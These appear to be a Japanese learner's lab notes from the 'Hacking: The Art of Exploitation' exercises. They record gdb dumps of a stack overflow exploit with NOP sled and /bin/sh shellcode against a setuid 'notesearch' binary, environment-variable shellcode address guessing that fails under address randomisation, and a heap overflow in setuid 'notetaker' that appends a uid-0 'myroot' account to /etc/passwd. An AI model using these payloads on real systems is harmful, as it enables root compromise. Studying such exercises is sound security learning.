0x804a008: "./notesearch '\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277"
(gdb) cont
Continuing.
Breakpoint 2, main (argc=1, argv=0xbffff674) at exploit_notesearch.c:26
26 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
(gdb) x/40x buffer
0x804a016: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a01e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a026: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a02e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a036: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
(gdb) x/s command
0x804a008: "./notesearch '\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277"
(gdb) cont
Continuing.
Breakpoint 3, main (argc=1, argv=0xbffff674) at exploit_notesearch.c:28
28 strcat(command, "\'");
(gdb) x/40x buffer
0x804a016: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a01e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a026: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a02e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a036: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
(gdb) x/s command
0x804a008: "./notesearch '\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061\311\231\260\244\315\200j\vXQh//shh/bin\211\343Q\211\342S\211\341\315\200\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277\232\364\377\277"
(gdb) x/120x buffer
0x804a016: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a01e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a026: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a02e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a036: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a03e: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a046: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x804a04e: 0x90 0x90 0x90 0x90 0x31 0xc0 0x31 0xdb
0x804a056: 0x31 0xc9 0x99 0xb0 0xa4 0xcd 0x80 0x6a
0x804a05e: 0x0b 0x58 0x51 0x68 0x2f 0x2f 0x73 0x68
0x804a066: 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x51
0x804a06e: 0x89 0xe2 0x53 0x89 0xe1 0xcd 0x80 0xbf
0x804a076: 0x9a 0xf4 0xff 0xbf 0x9a 0xf4 0xff 0xbf
0x804a07e: 0x9a 0xf4 0xff 0xbf 0x9a 0xf4 0xff 0xbf
0x804a086: 0x9a 0xf4 0xff 0xbf 0x9a 0xf4 0xff 0xbf
(gdb)
0x804a016 ~ 0x804a04eまでの0x90はNOP命令
0x804a04e ~ 0x804a06eまでの以下はシェルコード
0x31 0xc0 0x31 0xdb 0x31 0xc9 0x99 0xb0 0xa4 0xcd 0x80 0x6a 0x0b 0x58 0x51 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x51 0x89 0xe2 0x53 0x89 0xe1 0xcd 0x80
0x804a06eから0x804a086までの、0xbf 0x9a 0xf4 0xff
は戻りアドレス
setuidフラグでroot権限でプログラムが実行できちゃう
# cd ../0x200/
# gcc -o notetaker notetaker.c
# chown root:root ./notetaker
# chmod u+s ./notetaker
# ls -l ./notetaker
-rwsr-xr-x 1 root root 7108 Feb 25 07:54 ./notetaker
# ./notetaker "this is a test of multiuser notes"
[DEBUG] buffer @ 0x898d008: 'this is a test of multiuser notes'
[DEBUG] datafile @ 0x898d070: '/var/notes'
[DEBUG] ファイル記述子:3
メモが保存されました
# ls -l /var/notes
-rw------- 1 root root 39 Feb 25 07:54 /var/notes
# cat /var/notes
this is a test of multiuser notes
# gcc -o notesearch notesearch.c
# chown root:root ./notesearch
# chmod u+s ./notesearch
# ./notesearch
[DEBUG] uid 0の34バイトのメモを見つけました。
this is a test of multiuser notes
-------[ メモの終わり ]-------
seqを利用して、コマンドを実行
# seq 1 10
1
2
3
4
5
6
7
8
9
10
# seq 1 3 10
1
4
7
10
# for i in $(seq 1 3 10);
> do
> echo The value is $i
> done
The value is 1
The value is 4
The value is 7
The value is 10
# for i in $(seq 0 30 300);
> do
> echo Trying offset $i
> ./a.out $i
> done
Trying offset 0
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 30
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 60
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 90
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 120
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 150
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 180
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 210
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 240
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 270
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
Trying offset 300
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
結論を言うと、この章の内容は、今現時点で再現できず。精度が高い攻撃の脆弱性となりうるので、対策されているのか
$ gdb -q ./notesearch
(gdb) break main
(gdb) run
(gdb) x/1024s $esp - 0x240
0xbfd0cad8: ""
0xbfd0cad9: ""
0xbfd0cada: ""
:
:
0xbfd0cba2: ""
0xbfd0cba3: ""
0xbfd0cba4: "r\v\276"
0xbfd0cba8: "\334\b\301"
0xbfd0cbac: "`\203\004\b\260vz\267\002"
0xbfd0cbb6: ""
0xbfd0cbb7: ""
0xbfd0cbb8: "mm\276"
0xbfd0cbbc: "\334\202\004\b\350{\277"
0xbfd0cbc4: "\304o\277"
0xbfd0cbc8: "\320\033\300"
0xbfd0cbcc: "\001"
0xbfd0cbce: ""
0xbfd0cbcf: ""
0xbfd0cbd0: "|\314\320\277)\023\276"
0xbfd0cbd8: ""
0xbfd0cbd9: ""
:
:
0xbfd0cc0e: ""
0xbfd0cc0f: ""
0xbfd0cc10: "\200vz\267"
0xbfd0cc15: ""
0xbfd0cc16: ""
0xbfd0cc17: ""
0xbfd0cc18: ""
0xbfd0cc19: ""
0xbfd0cc1a: ""
0xbfd0cc1b: ""
0xbfd0cc1c: "\330\035\300"
---Type <return> to continue, or q <return> to quit---
0xbfd0cc20: "d!\277"
0xbfd0cc24: "D\314\320\277X\247\300"
0xbfd0cc2c: "\016"
0xbfd0cc2e: ""
0xbfd0cc2f: ""
0xbfd0cc30: "q\352\261\a\200vz\267.N=\366"
0xbfd0cc3d: ""
0xbfd0cc3e: ""
0xbfd0cc3f: ""
0xbfd0cc40: "\003"
0xbfd0cc42: ""
0xbfd0cc43: ""
0xbfd0cc44: ""
0xbfd0cc45: "y\277"
0xbfd0cc48: ""
0xbfd0cc49: ""
0xbfd0cc4a: ""
0xbfd0cc4b: ""
0xbfd0cc4c: ""
0xbfd0cc4d: ""
0xbfd0cc4e: ""
0xbfd0cc4f: ""
0xbfd0cc50: "\001"
0xbfd0cc52: ""
0xbfd0cc53: ""
0xbfd0cc54: "\230\b"
0xbfd0cc57: ""
0xbfd0cc58: "\260vz\267\320sz\267N\203\004\bx\257\300"
0xbfd0cc68: "\334\201\004\b\001"
0xbfd0cc6e: ""
0xbfd0cc6f: ""
0xbfd0cc70: "\304o\277"
0xbfd0cc74: "p\315\320\277\270z\277"
0xbfd0cc7c: "D\315\320\277*\025\276"
0xbfd0cc84: "4\315\320\277\334\201\004\b(\315\320\277\\z\277"
0xbfd0cc94: ""
0xbfd0cc95: ""
0xbfd0cc96: ""
0xbfd0cc97: ""
0xbfd0cc98: "\260vz\267\001"
0xbfd0cc9e: ""
0xbfd0cc9f: ""
0xbfd0cca0: ""
0xbfd0cca1: ""
0xbfd0cca2: ""
0xbfd0cca3: ""
0xbfd0cca4: "\001"
---Type <return> to continue, or q <return> to quit---
0xbfd0cca6: ""
0xbfd0cca7: ""
0xbfd0cca8: ""
0xbfd0cca9: "y\277"
0xbfd0ccac: "\001"
0xbfd0ccae: ""
0xbfd0ccaf: ""
0xbfd0ccb0: ""
0xbfd0ccb1: ""
0xbfd0ccb2: "\301"
0xbfd0ccb4: ""
0xbfd0ccb5: ""
0xbfd0ccb6: ""
0xbfd0ccb7: ""
0xbfd0ccb8: "\377\265\360"
0xbfd0ccbc: "\001"
0xbfd0ccbe: ""
0xbfd0ccbf: ""
0xbfd0ccc0: "\302"
0xbfd0ccc2: ""
0xbfd0ccc3: ""
0xbfd0ccc4: "\364\017"
0xbfd0ccc7: ""
0xbfd0ccc8: "\330\361\330"
0xbfd0cccc: ""
0xbfd0cccd: ""
0xbfd0ccce: ""
0xbfd0cccf: ""
0xbfd0ccd0: "p\315\320\277\340\234\004\b\350\314\320\277d\204\004\b"
0xbfd0cce1: ""
0xbfd0cce2: "\340\001\340\234\004\b\030\315\320\277\231\211\004\b\330\361\330"
0xbfd0ccf4: "N\203\004\b`!\331"
0xbfd0ccfc: "\364\017\331"
0xbfd0cd00: "\200\211\004\b\200\205\004\b\213\211\004\b\364\017\331"
0xbfd0cd10: "\200\211\004\b"
0xbfd0cd15: ""
0xbfd0cd16: ""
0xbfd0cd17: ""
0xbfd0cd18: "\230\315\320\277&M\301"
0xbfd0cd20: "\001"
0xbfd0cd22: ""
0xbfd0cd23: ""
0xbfd0cd24: "\304\315\320\277\314\315\320\277\320sz\267\200\205\004\b\377\377\377\377\304o\277"
0xbfd0cd3c: "N\203\004\b\001"
0xbfd0cd42: ""
0xbfd0cd43: ""
0xbfd0cd44: "\200\315\320\277u^\276"
---Type <return> to continue, or q <return> to quit---
0xbfd0cd4c: "\270z\277"
0xbfd0cd50: "\260vz\267\364\017\331"
0xbfd0cd58: ""
0xbfd0cd59: ""
0xbfd0cd5a: ""
0xbfd0cd5b: ""
0xbfd0cd5c: ""
0xbfd0cd5d: ""
0xbfd0cd5e: ""
0xbfd0cd5f: ""
0xbfd0cd60: "\230\315\320\277\255\211\242,\323\036\241\017"
0xbfd0cd6d: ""
0xbfd0cd6e: ""
0xbfd0cd6f: ""
0xbfd0cd70: ""
0xbfd0cd71: ""
0xbfd0cd72: ""
0xbfd0cd73: ""
0xbfd0cd74: ""
0xbfd0cd75: ""
0xbfd0cd76: ""
0xbfd0cd77: ""
0xbfd0cd78: "\001"
0xbfd0cd7a: ""
0xbfd0cd7b: ""
0xbfd0cd7c: "\200\205\004\b"
0xbfd0cd81: ""
0xbfd0cd82: ""
0xbfd0cd83: ""
0xbfd0cd84: "\360\301\276"
0xbfd0cd88: "KL\301"
0xbfd0cd8c: "\304o\277"
0xbfd0cd90: "\001"
0xbfd0cd92: ""
0xbfd0cd93: ""
0xbfd0cd94: "\200\205\004\b"
0xbfd0cd99: ""
0xbfd0cd9a: ""
0xbfd0cd9b: ""
0xbfd0cd9c: "\241\205\004\b\265\206\004\b\001"
0xbfd0cda6: ""
0xbfd0cda7: ""
0xbfd0cda8: "\304\315\320\277\200\211\004\bp\211\004\b\340h\276"
0xbfd0cdb8: "\274\315\320\277"
0xbfd0cdbd: ""
0xbfd0cdbe: ""
0xbfd0cdbf: ""
---Type <return> to continue, or q <return> to quit---
0xbfd0cdc0: "\001"
0xbfd0cdc2: ""
0xbfd0cdc3: ""
0xbfd0cdc4: "\234\346\320\277"
0xbfd0cdc9: ""
0xbfd0cdca: ""
0xbfd0cdcb: ""
0xbfd0cdcc: "\302\346\320\277\334\346\320\277\302\347\320\277\322\347\320\277\346\347\320\277\364\347\320\277\027\350\320\277*\350\320\277\064\350\320\277A\356\320\277M\356\320\277\243\356\320\277\275\356\320\277\314\356\320\277\353\356\320\277\364\356\320\277\v\357\320\277>\357\320\277I\357\320\277Q\357\320\277^\357\320\277\223\357\320\277\266\357\320\277\301\357\320\277"
0xbfd0ce2d: ""
0xbfd0ce2e: ""
0xbfd0ce2f: ""
0xbfd0ce30: " "
0xbfd0ce32: ""
0xbfd0ce33: ""
0xbfd0ce34: "\024\224K"
0xbfd0ce38: "!"
0xbfd0ce3a: ""
0xbfd0ce3b: ""
0xbfd0ce3c: ""
0xbfd0ce3d: "\220K"
0xbfd0ce40: "\020"
0xbfd0ce42: ""
0xbfd0ce43: ""
0xbfd0ce44: "\377\373\213\027\006"
0xbfd0ce4a: ""
0xbfd0ce4b: ""
0xbfd0ce4c: ""
0xbfd0ce4d: "\020"
0xbfd0ce4f: ""
0xbfd0ce50: "\021"
0xbfd0ce52: ""
0xbfd0ce53: ""
0xbfd0ce54: "d"
0xbfd0ce56: ""
0xbfd0ce57: ""
0xbfd0ce58: "\003"
0xbfd0ce5a: ""
0xbfd0ce5b: ""
0xbfd0ce5c: "4\200\004\b\004"
0xbfd0ce62: ""
0xbfd0ce63: ""
0xbfd0ce64: " "
0xbfd0ce66: ""
0xbfd0ce67: ""
---Type <return> to continue, or q <return> to quit---
0xbfd0ce68: "\005"
0xbfd0ce6a: ""
0xbfd0ce6b: ""
0xbfd0ce6c: "\b"
0xbfd0ce6e: ""
0xbfd0ce6f: ""
0xbfd0ce70: "\a"
0xbfd0ce72: ""
0xbfd0ce73: ""
0xbfd0ce74: ""
0xbfd0ce75: ""
0xbfd0ce76: ""
0xbfd0ce77: ""
0xbfd0ce78: "\b"
0xbfd0ce7a: ""
0xbfd0ce7b: ""
0xbfd0ce7c: ""
0xbfd0ce7d: ""
0xbfd0ce7e: ""
0xbfd0ce7f: ""
0xbfd0ce80: "\t"
0xbfd0ce82: ""
0xbfd0ce83: ""
0xbfd0ce84: "\200\205\004\b\v"
0xbfd0ce8a: ""
0xbfd0ce8b: ""
0xbfd0ce8c: ""
0xbfd0ce8d: ""
0xbfd0ce8e: ""
0xbfd0ce8f: ""
0xbfd0ce90: "\f"
0xbfd0ce92: ""
0xbfd0ce93: ""
0xbfd0ce94: ""
0xbfd0ce95: ""
0xbfd0ce96: ""
0xbfd0ce97: ""
0xbfd0ce98: "\r"
0xbfd0ce9a: ""
0xbfd0ce9b: ""
0xbfd0ce9c: ""
0xbfd0ce9d: ""
0xbfd0ce9e: ""
0xbfd0ce9f: ""
0xbfd0cea0: "\016"
0xbfd0cea2: ""
0xbfd0cea3: ""
---Type <return> to continue, or q <return> to quit---
0xbfd0cea4: ""
0xbfd0cea5: ""
0xbfd0cea6: ""
0xbfd0cea7: ""
0xbfd0cea8: "\027"
0xbfd0ceaa: ""
0xbfd0ceab: ""
0xbfd0ceac: ""
0xbfd0cead: ""
0xbfd0ceae: ""
0xbfd0ceaf: ""
0xbfd0ceb0: "\031"
0xbfd0ceb2: ""
0xbfd0ceb3: ""
0xbfd0ceb4: "\333\316\320\277\037"
0xbfd0ceba: ""
0xbfd0cebb: ""
0xbfd0cebc: "\326\357\320\277\017"
0xbfd0cec2: ""
0xbfd0cec3: ""
0xbfd0cec4: "\353\316\320\277"
0xbfd0cec9: ""
0xbfd0ceca: ""
0xbfd0cecb: ""
0xbfd0cecc: ""
0xbfd0cecd: ""
0xbfd0cece: ""
0xbfd0cecf: ""
0xbfd0ced0: ""
0xbfd0ced1: ""
0xbfd0ced2: ""
0xbfd0ced3: ""
0xbfd0ced4: ""
0xbfd0ced5: ""
0xbfd0ced6: ""
0xbfd0ced7: ""
0xbfd0ced8: ""
0xbfd0ced9: ""
0xbfd0ceda: ""
0xbfd0cedb: "\251\324\230\025d\234Fig\fH\270\270\372\363Di686"
0xbfd0cef0: ""
0xbfd0cef1: ""
0xbfd0cef2: ""
0xbfd0cef3: ""
0xbfd0cef4: ""
0xbfd0cef5: ""
0xbfd0cef6: ""
---Type <return> to continue, or q <return> to quit---
0xbfd0cedbにi686の文字列
0xbfd0cdcc辺りに長い文字列
SHELLCODEの変数見つけられず。。
本当は見つけられていたら、それでシェルを取れていた予定だったが。。
(gdb) x/s 0xbfd0cdcc
0xbfd0cdcc: "\302\346\320\277\334\346\320\277\302\347\320\277\322\347\320\277\346\347\320\277\364\347\320\277\027\350\320\277*\350\320\277\064\350\320\277A\356\320\277M\356\320\277\243\356\320\277\275\356\320\277\314\356\320\277\353\356\320\277\364\356\320\277\v\357\320\277>\357\320\277I\357\320\277Q\357\320\277^\357\320\277\223\357\320\277\266\357\320\277\301\357\320\277"
(gdb) x/s 0xbfd0cdcc + 100
0xbfd0ce30: " "
(gdb) x/s 0xbfd0cdcc + 10
0xbfd0cdd6: "\320\277\322\347\320\277\346\347\320\277\364\347\320\277\027\350\320\277*\350\320\277\064\350\320\277A\356\320\277M\356\320\277\243\356\320\277\275\356\320\277\314\356\320\277\353\356\320\277\364\356\320\277\v\357\320\277>\357\320\277I\357\320\277Q\357\320\277^\357\320\277\223\357\320\277\266\357\320\277\301\357\320\277"
(gdb) quit
# ./notesearch $(perl -e 'print "\xd6\xcd\xd0\xbf"')
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
同様に無理
# gcc getenv_example.c
# ./a.out SHELLCODE
SHELLCODE is at 0xbfa706ec
# ./notesearch $(perl -e 'print "\xec\x06\xa7\xbf"x40')
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
???????ơ???????ȿ?Ǥ? (?????????)
NOPスレッドを用いた場合は、予測できていても、これは環境変数の予測にまだ誤差があるということ。
さらに正確なメモリアドレスを予測できるように調査
# ./a.out SLEDLESS
SLEDLESS is at 0xbfd3ffa6
# ./notesearch $(perl -e 'print "\xa6\xff\xd3\xbf"')
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の34バイトのメモを見つけました。
-------[ メモの終わり ]-------
プログラム名の長さで環境変数のアドレスに影響が与えられている -> プログラム名の長さが1文字増加するたびに環境変数の値が2バイト減っているといいたいがなってない!!! 何か対策がされている??
実行プログラム名もスタックのどこかに格納されており、それによってずれが生じていく。 -> NOP命令をなくしていける
# cp a.out a
# ./a SLEDLESS
SLEDLESS is at 0xbfe15fae
# cp a.out bb
# ./bb SLEDLESS
SLEDLESS is at 0xbfb61fac
# cp a.out ccc
# ./ccc SLEDLESS
SLEDLESS is at 0xbf82afaa
# ./a.out SLEDLESS
SLEDLESS is at 0xbff2ffa6
アドレス配置がランダム化されているような感じ。
# gdb -q
(gdb) p 0xbfe15fae - 0xbff2ffa6
$1 = 4293812232
(gdb) p 0xbff2ffa6 - 0xbfe15fae
$2 = 1155064
glibcのバージョンは、2.12-1。本書はlibc 2.2.2
$ rpm -q glibc
glibc-2.12-1.209.el6_9.2.i686
0x340: 他のセグメントでのオーバーフロー
0x341 ヒープセグメントでのオーバーフロー
- datafileを本来/var/notesと意図していたところ"testfile"という文字列の上書きに成功する
- しかし、free()関数によってヒープメモリの解放を行う差異に、オーバーフローによって破壊されたヒープヘッダないでエラーが検出されるため、プログラムは終了
- ヒープというアーキテクチャ自身にも制御のポイントがある
# ./notetaker test
[DEBUG] buffer @ 0x9612008: 'test'
[DEBUG] datafile @ 0x9612070: '/var/notes'
[DEBUG] ファイル記述子:3
メモが保存されました
# gdb -q
(gdb) p 0x9612070 - 0x9612008
$1 = 104 <- bufferとdatafileのアドレスの距離が104であることを確認。
(gdb) quit
# ./notetaker $(perl -e 'print "A"x104')
[DEBUG] buffer @ 0x903b008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[DEBUG] datafile @ 0x903b070: ''
[!!] 致命的なエラー:main()内、ファイルのオープン中にエラーが発生しました。: No such file or directory
[root@ip-172-31-25-205 0x300]# perl -e 'print "A"x104'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[root@ip-172-31-25-205 0x300]#
[root@ip-172-31-25-205 0x300]# ./notetaker test
[DEBUG] buffer @ 0x8216008: 'test'
[DEBUG] datafile @ 0x8216070: '/var/notes'
[DEBUG] ファイル記述子:3
メモが保存されました
# ./notetaker $(perl -e 'print "A" x 104 ."testfile";') <- bufferとdatafileのアドレスの距離である104の次にファイル名を追記
[DEBUG] buffer @ 0x90e4008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile'
[DEBUG] datafile @ 0x90e4070: 'testfile' <- datafileの内容を"testfile"で書き換えできている
[DEBUG] ファイル記述子:3
メモが保存されました
*** glibc detected *** ./notetaker: free(): invalid next size (normal): 0x090e4008 ***
======= Backtrace: =========
/lib/libc.so.6[0xc6ebb1]
/lib/libc.so.6[0xc71611]
./notetaker[0x80488b5]
/lib/libc.so.6(__libc_start_main+0xe6)[0xc14d26]
./notetaker[0x80485a1]
======= Memory map: ========
00257000-00274000 r-xp 00000000 ca:02 58338 /lib/libgcc_s-4.4.7-20120601.so.1
00274000-00275000 rw-p 0001d000 ca:02 58338 /lib/libgcc_s-4.4.7-20120601.so.1
009f2000-009f3000 r-xp 00000000 00:00 0 [vdso]
00bd7000-00bf6000 r-xp 00000000 ca:02 58322 /lib/ld-2.12.so
00bf6000-00bf7000 r--p 0001e000 ca:02 58322 /lib/ld-2.12.so
00bf7000-00bf8000 rw-p 0001f000 ca:02 58322 /lib/ld-2.12.so
00bfe000-00d8f000 r-xp 00000000 ca:02 58323 /lib/libc-2.12.so
00d8f000-00d91000 r--p 00191000 ca:02 58323 /lib/libc-2.12.so
00d91000-00d92000 rw-p 00193000 ca:02 58323 /lib/libc-2.12.so
00d92000-00d95000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 ca:02 77656 /home/centos/Hacking/0x300/notetaker
08049000-0804a000 rw-p 00000000 ca:02 77656 /home/centos/Hacking/0x300/notetaker
090e4000-09105000 rw-p 00000000 00:00 0 [heap]
b7600000-b7621000 rw-p 00000000 00:00 0
b7621000-b7700000 ---p 00000000 00:00 0
b778d000-b778e000 rw-p 00000000 00:00 0
b7792000-b7795000 rw-p 00000000 00:00 0
bf83c000-bf851000 rw-p 00000000 00:00 0 [stack]
???ܡ??Ȥ??ޤ??? (?????????)
# grep -B10 free ../0x200/notetaker.c
if(write(fd, buffer, strlen(buffer)) == -1) // メモを書き込む。
fatal("main()内、ファイルへのバッファの書き込みでエラーが発生しました。");
write(fd, "\n", 1); // 改行する。
// ファイルのクローズ
if(close(fd) == -1)
fatal("main()内、ファイルのクローズ中にエラーが発生しました。");
printf("メモが保存されました\n");
free(buffer);
free(datafile);
# cat ./testfile
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile
ファイルの書き換えを利用して、/etc/passwdの書き換えをしてみる
/etc/passwdは、最初の":"のあとにパスワードが書かれている。"x"となっているのは、/etc/shadowで定義されている。パスワードは単方向ハッシュアルゴリズムでハッシュ化されている。
# cp /etc/passwd /tmp/passwd.bkup <- 念のためバックアップ
# head /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
[root@ip-172-31-25-205 0x300]# cat /etc/shadow
root:*:15980:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
sync:*:15980:0:99999:7:::
shutdown:*:15980:0:99999:7:::
halt:*:15980:0:99999:7:::
mail:*:15980:0:99999:7:::
uucp:*:15980:0:99999:7:::
operator:*:15980:0:99999:7:::
games:*:15980:0:99999:7:::
gopher:*:15980:0:99999:7:::
ftp:*:15980:0:99999:7:::
nobody:*:15980:0:99999:7:::
dbus:!!:16385::::::
vcsa:!!:16385::::::
abrt:!!:16385::::::
saslauth:!!:16385::::::
ntp:!!:16385::::::
haldaemon:!!:16385::::::
mailnull:!!:16385::::::
smmsp:!!:16385::::::
tcpdump:!!:16385::::::
sshd:!!:16385::::::
ハッシュ化は、
ハッシュ値の先頭が常にsaltの値に一致している。
検索で比較の際に利用する。
Perlのcrypt()関数
# perl -e 'print crypt("password", "AA"). "\n"'
AA6tQYSfGxd/A
# perl -e 'print crypt("password", "XX"). "\n"'
XXq2wKiyI43A2
/etc/passwdの書き換え
# mkdir /tmp/etc
# ln -s /bin/bash /tmp/etc/passwd
# ls -l /tmp/etc/passwd
lrwxrwxrwx 1 root root 9 Feb 25 09:42 /tmp/etc/passwd -> /bin/bash
# perl -e 'print "myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp"' | wc -c
38
# perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x50 . ":/root:/tmp"' | wc -c
86
# gdb -q
(gdb) p 104 - 86 + 50
$1 = 68
(gdb) quit
# perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 . ":/root:/tmp"' | wc -c
104
# ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 . ":/root:/tmp/etc/passwd"')
[DEBUG] buffer @ 0x928f008: 'myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd'
[DEBUG] datafile @ 0x928f070: '/etc/passwd'
[DEBUG] ファイル記述子:3
メモが保存されました
*** glibc detected *** ./notetaker: free(): invalid next size (normal): 0x0928f008 ***
======= Backtrace: =========
/lib/libc.so.6[0xc6ebb1]
/lib/libc.so.6[0xc71611]
./notetaker[0x80488b5]
/lib/libc.so.6(__libc_start_main+0xe6)[0xc14d26]
./notetaker[0x80485a1]
======= Memory map: ========
00257000-00274000 r-xp 00000000 ca:02 58338 /lib/libgcc_s-4.4.7-20120601.so.1
00274000-00275000 rw-p 0001d000 ca:02 58338 /lib/libgcc_s-4.4.7-20120601.so.1
00592000-00593000 r-xp 00000000 00:00 0 [vdso]
00bd7000-00bf6000 r-xp 00000000 ca:02 58322 /lib/ld-2.12.so
00bf6000-00bf7000 r--p 0001e000 ca:02 58322 /lib/ld-2.12.so
00bf7000-00bf8000 rw-p 0001f000 ca:02 58322 /lib/ld-2.12.so
00bfe000-00d8f000 r-xp 00000000 ca:02 58323 /lib/libc-2.12.so
00d8f000-00d91000 r--p 00191000 ca:02 58323 /lib/libc-2.12.so
00d91000-00d92000 rw-p 00193000 ca:02 58323 /lib/libc-2.12.so
00d92000-00d95000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 ca:02 77656 /home/centos/Hacking/0x300/notetaker
08049000-0804a000 rw-p 00000000 ca:02 77656 /home/centos/Hacking/0x300/notetaker
0928f000-092b0000 rw-p 00000000 00:00 0 [heap]
b7600000-b7621000 rw-p 00000000 00:00 0
b7621000-b7700000 ---p 00000000 00:00 0
b77bf000-b77c0000 rw-p 00000000 00:00 0
b77c4000-b77c7000 rw-p 00000000 00:00 0
bfa49000-bfa5e000 rw-p 00000000 00:00 0 [stack]
???ܡ??Ȥ??ޤ??? (?????????)
# tail /etc/passwd
abrt:x:173:173::/etc/abrt:/sbin/nologin
